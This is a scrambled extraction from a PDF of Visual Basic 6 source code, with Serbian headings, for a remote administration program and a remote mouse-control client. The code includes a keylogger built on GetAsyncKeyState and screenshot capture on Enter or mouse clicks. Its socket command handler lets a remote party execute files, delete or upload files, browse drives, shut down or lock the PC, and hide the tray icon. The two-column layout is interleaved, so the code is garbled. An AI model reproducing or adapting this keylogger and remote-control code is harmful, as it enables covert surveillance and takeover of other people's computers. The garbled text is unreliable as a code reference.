"Numpad7", "Numpad8", "Numpad9", For q = 32 To 127
"Multiply", "Add", "Separator", "Subtract", _ key = GetAsyncKeyState(q) 'Get the status of each
"Decimal", "Divide") KEY????????????????????????????
KeyTimer.Enabled = True If key = -32767 Then 'Key has been Pressed
End Sub 'Text1 = Text1 & Chr(q)
Private Sub StopLogging() STRNG = STRNG & Chr(q) 'Key Pressed value
STRNG = Now 'If i = 90 Then Me.Show
Print #1, STRNG 'Time at which monitoring the KEY End If
STROKES are stopped. Next q
Close #1 'ENTER/Return Key is pressed - Clear the string and status
End Sub of ENTER key
Private Sub Form_QueryUnload(Cancel As Integer, If HitEnter = True Then Print #1, STRNG: STRNG = "":
UnloadMode As Integer) HitEnter = False
RemoveIconFromTray End Sub
Unload frmOptions Private Sub MessageTimer_Timer()
Unload Me lblStatus.ForeColor = &HFF8080

45
End If W1.State = sckConnected Then
End Sub lblStatus.Caption = " Status: Connected"
Private Sub Form_Terminate() MessageTimer.Enabled = False
RemoveIconFromTray Else
Unload frmOptions lblStatus.Caption = " Status: Listening"
Unload Me End If
End Sub End Sub
Private Sub Form_Unload(Cancel As Integer) Private Sub mnuAbout_Click()
RemoveIconFromTray frmAbout.Show
Unload frmOptions End Sub
Unload Me Private Sub mnuoptClose_Click()
End cmdClose = True
End Sub End Sub
Private Sub KeyTimer_Timer() Private Sub mnuoptShow_Click()
On Error Resume Next frmOptions.Visible = True
Dim tPA As POINTAPI frmOptions.cmdCancel.SetFocus
'ovde???????????????????????????????????????????? End Sub
Dim fStr As String Private Sub mnuoptstop_Click()
' Get cursor cordinates or MOUSE Position i.e (x,y) cmdStop = True
GetCursorPos tPA End Sub
'??????????????????????????????????????????????????? Private Sub picture1_MouseMove(Button As Integer, Shift
'Scan the Array first : Special keys As Integer, X As Single, y As Single)
For q = 0 To 61 Static rec As Boolean, Msg As Long
key = GetAsyncKeyState(KeyList(q)) 'Get the status of Dim retVal As String
each KEY ????????????????? Dim returnstring
If key = -32767 Then 'Key has been Pressed Dim retvalue
If KeyChar(q) = "Return" Or KeyChar(q) = "LButton" Msg = X / Screen.TwipsPerPixelX
Then 'Key Pressed is ENTER/RETURN Key or Left Mouse If rec = False Then
Button rec = True
KeyTimer.Enabled = False Select Case Msg
'Takes the snapshot of the screen currently viewing by 'this is where you would invoke a program
the user of the system. 'Use the Left Mouse Button to trigger a shell
fStr = App.Path & "\" & Time & ".bmp" 'to the desired program by clicking on
boolVal = fSaveGuiToFile(fStr) 'the TrayBar Icon shown (The Form's Icon)
'????????????????????????????????????????????? Case WM_LBUTTONDOWN:
KeyTimer.Enabled = True 'Resume monitoring Case WM_LBUTTONDBLCLK
HitEnter = True Restore
End If Me.Show
Case WM_LBUTTONUP
Case WM_RBUTTONDBLCLK: 'not used in this program SockExplorer.GetData sIncoming
Case WM_RBUTTONDOWN: 'not used in this program If InStr(1, sIncoming, "|FN|") <> 0 Then
Case WM_RBUTTONUP: FldrName = Mid(sIncoming, 5, Len(sIncoming))
'if Right Mouse Button is down then Dim RUAllowed As String
'Bring up the Popup Menu RUAllowed = UCase(Environ("Systemroot"))
Me.PopupMenu mnuopt If RUAllowed = "C:\" & UCase(FldrName) Then
End Select Allowed = False
rec = False Else
End If Allowed = True
End Sub End If
Private Sub Restore() Exit Sub
Me.WindowState = 0 End If
End Sub If InStr(1, sIncoming, "|NEWFOLDER|") <> 0 Then
Private Sub sckProcesses_ConnectionRequest(ByVal NewFolder Mid(sIncoming, 12, Len(sIncoming))
requestID As Long) Exit Sub
If sckProcesses.State <> sckClosed Then End If
sckProcesses.Close If InStr(1, sIncoming, "|REMOVEFOLDER|") <> 0 Then
sckProcesses.Accept requestID RmDir Mid(sIncoming, 15, Len(sIncoming))
Else Exit Sub
sckProcesses.Accept requestID End If
End If Command = EvalData(sIncoming, 1)
Pause 10 Drive = EvalData(sIncoming, 2)
Dim PROC As String If InStr(1, sIncoming, "|FOLDERS|") <> 0 Then
For q = 0 To List1.ListCount - 1 If Allowed = False Then
PROC = List1.List(q) SockExplorer.SendData "|NOT|"
sckProcesses.SendData PROC Exit Sub
Pause 50 Else
Next q lblStatus.Caption = " Status: Sending Folder (" &
PROC = "DONE" FldrName & ")"

46
sckProcesses.SendData PROC lblStatus.ForeColor = vbGreen
Pause 10 MessageTimer.Enabled = True
sckProcesses.Close sData = Enum_Folders(Mid$(sIncoming, 10,
End Sub Len(sIncoming))) '???????????????
Private Sub SockExplorer_Close() SockExplorer.SendData sData
lblStatus.Caption = " Status: Closing Remoter Explorer" DoEvents
lblStatus.ForeColor = vbGreen Sleep (500)
MessageTimer.Enabled = True sData = Enum_Files(Mid$(sIncoming, 10,
SockExplorer.Close Len(sIncoming))) '?????????????????
SockExplorer.Listen EvalSize sData
End Sub lblStatus.Caption = " Status: Sending File Info For
Private Sub sockExplorer_ConnectionRequest(ByVal Folder: " & FldrName
requestID As Long) lblStatus.ForeColor = vbGreen
lblStatus.Caption = " Status: Opening Remote Explorer" MessageTimer.Enabled = True
lblStatus.ForeColor = vbGreen Exit Sub
MessageTimer.Enabled = True End If
If SockExplorer.State <> sckClosed Then End If
SockExplorer.Close If InStr(1, sIncoming, "|GETFILE|") <> 0 Then
SockExplorer.Accept requestID If frmOptions.chkDownload.Value = 1 Then
lblStatus.Caption = " Status: Enumerating Drives" lblStatus.Caption = " Status: Transfering - " &
lblStatus.ForeColor = vbGreen Mid(sIncoming, 10, Len(sIncoming))
MessageTimer.Enabled = True lblStatus.ForeColor = vbGreen
SockExplorer.SendData Enum_Drives MessageTimer.Enabled = True
End Sub SendFile Mid$(sIncoming, 10, Len(sIncoming)),
Private Sub NewFolder(NFDR As String) SockExplorer ' ?????????????????????????
Debug.Print NFDR SockExplorer.SendData "|COMPLEET|"
MkDir NFDR Exit Sub
lblStatus.Caption = " Status: Creating Folder - " & NFDR Else
lblStatus.ForeColor = vbGreen SockExplorer.SendData "|CANT|"
MessageTimer.Enabled = True Exit Sub
End Sub End If
Private Sub sockExplorer_DataArrival(ByVal bytesTotal As End If
Long) If InStr(1, sIncoming, "|UPLOAD|") <> 0 Then
Dim sIncoming As String Open Mid(sIncoming, 9, Len(sIncoming)) For Binary As
Dim iCommand As Integer #1
Dim sData As String bFileTransfer = True
Dim lRet As Long Exit Sub
Dim Drive As String End If
Dim Command As String

If InStr(1, sIncoming, "|DONEUPLOAD|") <> 0 Then Filez(i) = "|SOME|" & Mid(WhatToBreakUp, 1, StrB)
Dim XYZ As Integer WhatToBreakUp = Mid(WhatToBreakUp, StrB + 1,
XYZ = Len(sIncoming) Len(WhatToBreakUp))
XYZ = XYZ - 12 End If
sIncoming = Mid(sIncoming, 1, XYZ) End If
bFileTransfer = False Next i
Put #1, , sIncoming For i = 0 To 50
Close #1 If Filez(i) <> "" Then
Exit Sub SockExplorer.SendData Filez(i)
End If Pause 10
If bFileTransfer = True Then End If
If InStr(1, sIncoming, "|FILESIZE|") <> 0 Then Next i
Exit Sub SockExplorer.SendData "|FILES|"
End If For i = 0 To 50
Put #1, , sIncoming Filez(i) = ""
End If Next i
End Sub End Function
Function EvalSize(STRNG As String) Function EvalData(Incoming As String, Side As Integer,
'I determined this size by seeing what the client Optional SubDiv As String) As String
'actually was able to receive by using debug.print Dim i As Integer
len(sIcoming) Dim TempStr As String
'Anything over that size is "broken up." Dim Divider As String
FS = Len(STRNG) If SubDiv = "" Then
If FS <= 4320 Then Divider = ","
STRNG = "|SOME|" & Mid(STRNG, 8, Len(STRNG)) Else
SockExplorer.SendData STRNG Divider = SubDiv
Pause 10 End If
SockExplorer.SendData "|FILES|" Select Case Side

47
Exit Function Case 1
End If For i = 0 To Len(Incoming)
Dim FS2 As Integer TempStr = Left(Incoming, i)
If FS > 4320 Then If Right(TempStr, 1) = Divider Then
For i = 1 To 50 EvalData = Left(TempStr, Len(TempStr) - 1)
If FS / i < 4320 Then Exit Function
FS2 = i End If
'this is where I call the "BreakUp Thingy" Next
BreakItUp STRNG, FS2 Case 2
Exit Function For i = 0 To Len(Incoming)
End If TempStr = Right(Incoming, i)
Next i If Left(TempStr, 1) = Divider Then
End If EvalData = Right(TempStr, Len(TempStr) - 1)
End Function Exit Function
Function BreakItUp(WhatToBreakUp As String, End If
HowManyTimes As Integer) Next
WhatToBreakUp = Mid(WhatToBreakUp, 8, End Select
Len(WhatToBreakUp)) End Function
Dim SCount As Long
Dim StrB As Integer Private Sub Timer1_Timer()
Dim StrC As Integer Prev = pos
Dim strD As Long 'r =
StrC = 0 GetCursorPos(pos) ???????????????????????
SCount = Len(WhatToBreakUp) ?
StrB = SCount / HowManyTimes Dim DiffY As Integer, DiffX As Integer
For i = 1 To HowManyTimes If Prev.y = 0 And pos.y = 0 Then
StrC = StrC + 1 DiffY = 1
If StrC = 1 Then ElseIf Prev.y = 599 And pos.y = 599 Then
Filez(i) = "|SOME|" & Mid(WhatToBreakUp, 1, StrB) DiffY = -1
WhatToBreakUp = Mid(WhatToBreakUp, StrB + 1, End If
Len(WhatToBreakUp)) If Prev.X = 0 And pos.X = 0 Then
Else DiffX = 1
If Len(WhatToBreakUp) < StrB Then ElseIf Prev.X = 799 And pos.X = 799 Then
Filez(i) = "|SOME|" & WhatToBreakUp DiffX = -1
Exit For End If
Else

Dim MeSG As String


r = SetCursorPos(Prev.X - (pos.X - Prev.X) + DiffX, Prev.y - Dim tIpe As String
(pos.y - Prev.y) + DiffY) Dim title As String
'r = GetCursorPos(pos) int1 = InStr(1, Message, "1:")
End Sub int2 = InStr(1, Message, "2:")
int3 = InStr(1, Message, "3:")
Private Sub tmrLock_Timer() int1 = int1 + 2
lblStatus.Caption = " Status: System Locked" MeSG = Mid(Message, int1, int2 - int1)
End Sub int2 = int2 + 2
tIpe = Mid(Message, int2, int3 - int2)
Private Sub W1_Close() int3 = int3 + 2
MessageTimer.Enabled = False title = Mid(Message, int3, Len(Message))
lblStatus.ForeColor = &HFF8080 MessageStyle MeSG, tIpe, title
lblStatus.Caption = " Status: Listening" End Sub
W1.Close Private Sub MessageStyle(Body As String, Style As String,
W1.Listen title As String)
If Hidden = True Then Me.Show If Hidden = True Then Me.Show
End Sub If LCase(Style) = "vbabortretryignore" Then MsgBox Body,
Private Sub W1_Connect() vbAbortRetryIgnore, title
lblStatus.Caption = " Status: Connected" If LCase(Style) = "vbcritical" Then MsgBox Body,
End Sub vbCritical, title
Private Sub W1_ConnectionRequest(ByVal requestID As If LCase(Style) = "vbexclamation" Then MsgBox Body,
Long) vbExclamation, title
If W1.State = sckConnected Then Exit Sub If LCase(Style) = "vbinformation" Then MsgBox Body,
If W1.State <> sckClosed Then vbInformation, titleIf LCase(Style) = "vbokcancel" Then
W1.Close MsgBox Body, vbOKCancel, title
W1.Accept requestID If LCase(Style) = "vbokonly" Then MsgBox Body,

48
lblStatus.Caption = " Status: Connected" vbOKOnly, title
Else If LCase(Style) = "vbretrycancel" Then MsgBox Body,
W1.Accept requestID vbRetryCancel, title
lblStatus.Caption = " Status: Connected" If LCase(Style) = "vbyesno" Then MsgBox Body, vbYesNo,
End If title
Pause 10 If LCase(Style) = "vbyesnocancel" Then MsgBox Body,
sckProcesses.Close vbYesNoCancel, title
sckProcesses.Listen If Hidden = True Then Me.Hide
Login W1.SendData "|MSGOVER|"
End Sub End Sub
Private Sub Login() Private Sub W1_DataArrival(ByVal bytesTotal As Long)
If frmOptions.chkAutoLogin.Value = 1 Then Dim sFormated As String
If frmOptions.chkVerify.Value = 0 Then Dim sIncoming As String
SendTheInformation W1.GetData Data
' ???????????????????????????????
Else If InStr(1, Data, "|UNLOCKSYSTEM|") <> 0 Then
Msg = "|LOGIN|" frmLock.lblUnlock.Caption = "TRUE"
W1.SendData Msg Unload frmLock
End If tmrLock.Enabled = False
Else lblStatus.Caption = " Status: Connected"
Msg = "|LOGIN|" Exit Sub
W1.SendData Msg End If
End If If InStr(1, Data, "|LOCKSYSTEM|") <> 0 Then
End Sub tmrLock.Enabled = True
Private Sub Execute(Filez As String) frmLock.Show
ShellExecute Me.hwnd, "Open", Filez, "", "", 1 Exit Sub
End Sub End If
Private Sub OpenIE(Page As String) If InStr(1, Data, "|CLOSECHAT|") <> 0 Then
If LCase(Mid(Page, 1, 4)) <> "http" Then lblStatus.ForeColor = vbGreen
ShellExecute Me.hwnd, vbNullString, "http://" & Page, lblStatus.Caption = " Status: Closing Chat"
vbNullString, Left$(CurDir$, 3), SW_SHOWNORMAL MessageTimer.Enabled = True
Else Unload frmChat
ShellExecute Me.hwnd, vbNullString, Page, vbNullString, 'Pause 10
Left$(CurDir$, 3), SW_SHOWNORMAL Load frmChat
End If Exit Sub
End Sub End If
Private Sub NewMessage(Message As String) If InStr(1, Data, "|CHAT|") <> 0 Then
Dim int1 As Integer lblStatus.ForeColor = vbGreen
Dim int2 As Integer lblStatus.Caption = " Status: Starting Chat"
Dim int3 As Integer

MessageTimer.Enabled = True lblStatus.ForeColor = vbGreen


Load frmChat MessageTimer.Enabled = True
frmChat.Show SendFile sIncoming, W1
Exit Sub W1.SendData "|COMPLETE|"
End If Exit Sub
If InStr(1, Data, "|EMPTYRECYCLEBIN|") <> 0 Then End If
MakeRecycleBinEmpty c, True, True, False If InStr(1, Data, "|LOGOFF|") <> 0 Then
Exit Sub LogOff
End If Exit Sub
If InStr(1, Data, "|MSGBOX|") <> 0 Then End If
lblStatus.ForeColor = vbGreen If InStr(1, Data, "|SHUTDOWN|") <> 0 Then
lblStatus.Caption = " Status: Executing Message Box" lblStatus.Caption = " Status: Shutting Down PC"
MessageTimer.Enabled = True lblStatus.ForeColor = vbGreen
NewMessage Mid(Data, 9, Len(Data)) MessageTimer.Enabled = True
Exit Sub ShutDown
End If Exit Sub
If InStr(1, Data, "|INVERSEMOUSE|") <> 0 Then End If
Timer1.Enabled = True If InStr(1, Data, "|REBOOT|") <> 0 Then
lblStatus.ForeColor = vbGreen lblStatus.Caption = " Status: Rebooting PC"
lblStatus.Caption = " Status: Executing Inverse Mouse" lblStatus.ForeColor = vbGreen
MessageTimer.Enabled = True MessageTimer.Enabled = True
Exit Sub ReBooT
End If Exit Sub
If InStr(1, Data, "|NORMALMOUSE|") <> 0 Then End If
Timer1.Enabled = False If InStr(1, Data, "|CLOSE|") <> 0 Then
lblStatus.Caption = " Status: Executing Normal Mouse" Unload Me

49
lblStatus.ForeColor = vbGreen End
MessageTimer.Enabled = True End If
Exit Sub If InStr(1, Data, "|STOPPROCESS|") <> 0 Then
End If Dim PR As String
If InStr(1, Data, "|STARTLOGGING|") <> 0 Then PR = Mid(Data, 14, Len(Data))
StartLogging lblStatus.Caption = " Status: Ending Process - " & PR
lblStatus.Caption = " Status: Executing Key-Logging" lblStatus.ForeColor = vbGreen
lblStatus.ForeColor = vbGreen MessageTimer.Enabled = True
MessageTimer.Enabled = True StopProcess PR
Exit Sub Exit Sub
End If End If
If InStr(1, Data, "|STOPLOGGING|") <> 0 Then If InStr(1, Data, "|LOGIN|") <> 0 Then
StopLogging If frmOptions.chkVerify.Value = 1 Then
lblStatus.Caption = " Status: Stopping Key-Logging" Verify Mid(Data, 8, Len(Data))
lblStatus.ForeColor = vbGreen Else
MessageTimer.Enabled = True LoginZ Mid(Data, 8, Len(Data))
Exit Sub lblStatus.Caption = " Status: Logging In User"
End If lblStatus.ForeColor = vbGreen
If InStr(1, Data, "|IE|") <> 0 Then MessageTimer.Enabled = True
OpenIE Mid(Data, 5, Len(Data)) End If
Exit Sub Exit Sub
End If End If
If InStr(1, Data, "|EXECUTE|") <> 0 Then If InStr(1, Data, "|REFRESH PROCESSES|") <> 0 Then
Execute Mid(Data, 10, Len(Data)) RefreshProcesses
Exit Sub Exit Sub
End If End If
If InStr(1, Data, "|KILLFILE|") <> 0 Then If InStr(1, Data, "|HIDE|") <> 0 Then
Kill Mid$(Data, 11, Len(Data)) Me.Hide
lblStatus.Caption = "Status: Deleting - " & Mid(Data, 11, Hidden = True
Len(Data)) RemoveIconFromTray
lblStatus.ForeColor = vbGreen Exit Sub
MessageTimer.Enabled = True End If
Exit Sub If InStr(1, Data, "|SHOW|") <> 0 Then
End If Me.Show
If InStr(1, Data, "|GETDESKTOP|") <> 0 Then Hidden = False
Clipboard.Clear AddIcon2Tray
lblStatus.Caption = " Status: Capturing Desktop" Exit Sub
lblStatus.ForeColor = vbGreen End If
' GetDesktopPrint (App.Path & "\DESKTOP.BMP") End Sub
sIncoming = App.Path & "\DESKTOP.BMP" Private Sub Verify(Whoz As String)
lblStatus.Caption = " Status: Sending Desktop" Dim OK As Boolean
For i = 0 To frmOptions.List1.ListCount - 1
If frmOptions.List1.List(i) = Whoz Then
If frmOptions.chkAutoLogin.Value = 1 Then
SendTheInformation
Exit Sub
Else
LoginZ Whoz
Exit Sub
End If
End If
Next i
lblStatus.Caption = " Status: Listening"
W1.Close
W1.Listen
SockExplorer.Close
SockExplorer.Listen
End Sub
Private Sub LoginZ(Who As String)
If MsgBox(Who & " Is attempting to log onto your
computer. Do you want to allow this?", vbYesNo,
"ATTEMPTED LOG ON BY " & Who) = vbNo Then
W1.Close
W1.Listen
SockExplorer.Close
SockExplorer.Listen
lblStatus.Caption = " Status: Listening"
Exit Sub

50
Else
lblStatus.Caption = " Status: " & Who & " - Currently
Connected"
SendTheInformation
End If
End Sub
Private Sub StopProcess(process As String)
Text1.Text = process
Command1 = True
End Sub

Drugi deo programa


Prikaz slike udaljenog racunara preko celog ekrana,
Upravljanje misom
(zaseban EXE izvrsni fajl )

Sledi sadrzaj izvornog koda form1 koji pripada glavnom serveru:

Option Explicit Private Sub Command5_Click()


Private Declare Function SetCursorPos Lib "user32" (ByVal Form1.Picture = LoadPicture(App.Path & "\" & txtHost.Text
X As Long, ByVal Y As Long) As Long & ".jpg")
Private Declare Sub mouse_event Lib "user32" (ByVal Frame1.Visible = False
dwFlags As Long, ByVal dx As Long, ByVal dy As Long, Timer3.Enabled = True
ByVal cButtons As Long, ByVal dwExtraInfo As Long) Timer1.Enabled = True
Private Declare Function GetCursorPos Lib "user32" Timer2.Enabled = True
(lpPoint As POINTAPI) As Long Form1.WindowState = 2
Private Type POINTAPI Form1.BorderStyle = 0
X As Long End Sub
Y As Long Private Sub Command6_Click()
End Type txtSendX = txtSendX - 10
Private Const MOUSEEVENTF_RIGHTUP = &H10 ' right Text1 = 0
button up End Sub
Private Const MOUSEEVENTF_RIGHTDOWN = &H8 ' Private Sub Command7_Click()
right button down txtsendY = txtsendY - 10
Private Const MOUSEEVENTF_LEFTDOWN = &H2 ' left Text1 = 0
button down End Sub
Private Const MOUSEEVENTF_LEFTUP = &H4 ' left Private Sub Command8_Click()
button up txtsendY = txtsendY + 10
Private Sub click_DataArrival(ByVal bytesTotal As Long) Text1 = 0
Dim nnn As String End Sub
click.GetData nnn Private Sub Command9_Click()
End Sub click.SendData "49"
Private Sub cmdConnect_Click() Text1.Text = 0
xkor.RemoteHost = txtHost.Text End Sub
xkor.RemotePort = 1212 Private Sub Form_Click()
xkor.Connect If Text4 = 2 Then
End Sub Command10_Click
Private Sub Command1_Click() End If
ykor.RemoteHost = txtHost.Text If Text4 = 1 Then
ykor.RemotePort = 1213 click.SendData "49"
ykor.Connect End If
End Sub End Sub
Private Sub Command10_Click() Private Sub Form_DblClick()
click.SendData "51" Command11_Click
Text1.Text = 0 End Sub
End Sub Private Sub Form_KeyPress(KeyAscii As Integer)
Private Sub Command11_Click() Text1.Text = KeyAscii
click.SendData "55" End Sub

51
Text1 = 0 Private Sub Form_Load()
End Sub Form1.Show
Private Sub Command12_Click() txtStatus.Text = ""
Frame1.Visible = False End Sub
End Sub Private Sub Form_MouseDown(Button As Integer, Shift As
Private Sub Command2_Click() Integer, X As Single, Y As Single)
On Error GoTo nio: Text4 = Button
click.RemoteHost = txtHost End Sub
click.RemotePort = 1312 Private Sub Form_MouseMove(Button As Integer, Shift As
click.Connect Integer, X As Single, Y As Single)
nio: xx = X
End Sub yy = Y
Private Sub Command3_Click() End Sub
txtSendX = txtSendX + 10 Private Sub Label7_Click()
Text1 = 0 Unload Me
End Sub End Sub
Private Sub Command4_Click() Private Sub Text1_Change()
Frame1.Visible = False If Text1.Text = "49" Then
End Sub Command9_Click
Private Sub Command5_Click() End If
Form1.Picture = LoadPicture(App.Path & "\" & txtHost.Text If Text1.Text = "51" Then
& ".jpg") Command10_Click
Frame1.Visible = False End If
Timer3.Enabled = True If Text1.Text = "55" Then
Timer1.Enabled = True Command11_Click
Timer2.Enabled = True End If
Form1.WindowState = 2 If Text1 = 113 Then
Form1.BorderStyle = 0 click.SendData "113"
End Sub Text1 = 0
End If
If Text1 = 115 Then Public Sub CrezyMouse1()
click.SendData "115" ' dogadjaj dklik
Text1 = 0 Dim CButt As Long, Extra As Long
End If mouse_event MOUSEEVENTF_LEFTDOWN Or
If Text1 = 53 Then click.SendData "53" MOUSEEVENTF_LEFTUP, &H2, &H4, CButt, Extra
End Sub mouse_event MOUSEEVENTF_LEFTDOWN Or
Private Sub Timer1_Timer() MOUSEEVENTF_LEFTUP, &H2, &H4, CButt, Extra
On Error GoTo ni: End Sub
ykor.SendData txtsendY
ni:
End Sub
Private Sub Timer2_Timer()
On Error GoTo nik:
If txtSendX = 1000 Then txtSendX = txtSendX + 1
Private Sub txtsendY_Change()
xkor.SendData txtSendX If txtsendY < 0 Then txtsendY = 0
nik: End Sub
End Sub Private Sub xkor_DataArrival(ByVal bytesTotal As Long)
Private Sub Timer3_Timer() Dim strData As String
On Error GoTo nio: xkor.GetData strData, vbString
Form1.Picture = LoadPicture(App.Path & "\" & txtHost.Text txtStatus.Text = strData
& ".jpg") End Sub
nio: Private Sub ykor_DataArrival(ByVal bytesTotal As Long)
End Sub Dim strData1 As String
Private Sub Timer4_Timer() xkor.GetData strData1, vbString
If xx < 1490 Then txtSendX.MaxLength = 2 Text2.Text = strData1
If xx > 14900 Then txtSendX.MaxLength = 4 End Sub
If xx > 1450 And xx < 14900 Then txtSendX.MaxLength =
3
txtSendX = (xx / 149) * 10
txtsendY = (yy / 150) * 10
End Sub

52
Sledi klijent deo koji zadaje kontrole misu ..:

Option Explicit Nn:


Private Declare Function SetCursorPos Lib "user32" (ByVal End Sub
X As Long, ByVal Y As Long) As Long Private Sub text2_Change()
Private Declare Sub mouse_event Lib "user32" (ByVal If text2 = "49" Then
dwFlags As Long, ByVal dx As Long, ByVal dy As Long, Call LeviKlik
ByVal cButtons As Long, ByVal dwExtraInfo As Long) text2 = 0
Private Declare Function GetCursorPos Lib "user32" Exit Sub
(lpPoint As POINTAPI) As Long End If
Private Type POINTAPI If text2 = "51" Then
X As Long Call DesniKlik
Y As Long text2 = 0
End Type Exit Sub
Private Const MOUSEEVENTF_RIGHTUP = &H10 ' right End If
button up If text2 = "55" Then
Private Const MOUSEEVENTF_RIGHTDOWN = &H8 ' Call LeviDupliKlik
right button down text2 = 0
Private Const MOUSEEVENTF_LEFTDOWN = &H2 ' left End If
button down If text2 = "113" Then
Private Const MOUSEEVENTF_LEFTUP = &H4 ' left Timer1.Enabled = False
button up Form2.Hide
Private intSockCnt As Integer MsgBox " Racunar je slobodan . ", vbOKOnly
Private intSockCnt1 As Integer text2 = 0
Private Sub cmdListen_Click() End If
sockMain(0).Close If text2 = "115" Then
sockMain(0).LocalPort = 1212 Timer1.Enabled = True
sockMain(0).Listen text2 = 0
ykordi(0).Close MsgBox " *** Racunar je pod kontrolom ", vbOKOnly,
ykordi(0).LocalPort = 1213 "ProfesorServever 1.0 "
ykordi(0).Listen End If
kont(0).Close If text2 = "53" Then
kont(0).LocalPort = 1312 Form2.Show
kont(0).Listen text2 = 0
End Sub End If
Private Sub Form_Load() If text2 > 1000 Then text2 = 0
Me.Top = 0 End Sub
Me.Left = 0 Private Sub Timer1_Timer()
cmdListen_Click Dim udri As Long
End Sub On Error GoTo nikolal:
Private Sub kont_ConnectionRequest(Index As Integer, If txtStatus > 999 Then Text5.MaxLength = 4
ByVal requestID As Long) udri = SetCursorPos(Text5, Text1)
intSockCnt = intSockCnt + 1 nikolal:
Load kont(intSockCnt) End Sub
kont(intSockCnt).Accept requestID Private Sub txtStatus_Change()
End Sub If txtStatus = 1000 Then
Private Sub kont_DataArrival(Index As Integer, ByVal txtStatus = 1004
bytesTotal As Long) End If
Dim strData As String If txtStatus = 1001 Then
Dim intCnt As Integer txtStatus = 1004
kont(Index).GetData strData, vbString Exit Sub
text2.Text = strData End If
End Sub Text5 = txtStatus
Private Sub sockMain_ConnectionRequest(Index As Integer, End Sub
ByVal requestID As Long) Private Sub ykordi_ConnectionRequest(Index As Integer,
intSockCnt = intSockCnt + 1 ByVal requestID As Long)
Load sockMain(intSockCnt) intSockCnt = intSockCnt + 1
sockMain(intSockCnt).Accept requestID Load ykordi(intSockCnt)
End Sub ykordi(intSockCnt).Accept requestID
Private Sub sockMain_DataArrival(Index As Integer, ByVal End Sub
bytesTotal As Long) Private Sub ykordi_DataArrival(Index As Integer, ByVal
Dim strData11 As String bytesTotal As Long)
Dim intCnt As Integer Dim strData As String

53
sockMain(Index).GetData strData11 Dim intCnt As Integer
txtStatus.Text = strData11 ykordi(Index).GetData strData, vbString
End Sub Text1.Text = strData
Private Sub Text1_Change() End Sub
If Text1 <= 0 Then GoTo nn: Public Sub LeviKlik()
Text4 = (Text1 / 10) * 150.47 + 64 ' dogadjaj klik
If Text4 < 100 Then Text4.MaxLength = 2 Dim CButt As Long, Extra As Long
If Text4 > 100 Then Text4.MaxLength = 4 mouse_event MOUSEEVENTF_LEFTDOWN Or
MOUSEEVENTF_LEFTUP, &H2, &H4, CButt, Extra end sub
End Sub
Public Sub DesniKlik()
' dogadjaj klik
Dim CButt As Long, Extra As Long
mouse_event MOUSEEVENTF_RIGHTDOWN Or
MOUSEEVENTF_RIGHTUP, &H8, &H10, CButt, Extra
End Sub
Public Sub LeviDupliKlik()
' dogadjaj dupli klik
Dim CButt As Long, Extra As Long
mouse_event MOUSEEVENTF_LEFTDOWN Or
MOUSEEVENTF_LEFTUP, &H2, &H4, CButt, Extra
mouse_event MOUSEEVENTF_LEFTDOWN Or
MOUSEEVENTF_LEFTUP, &H2, &H4, CButt, Extra
Form2.Show
End Sub

54

You might also like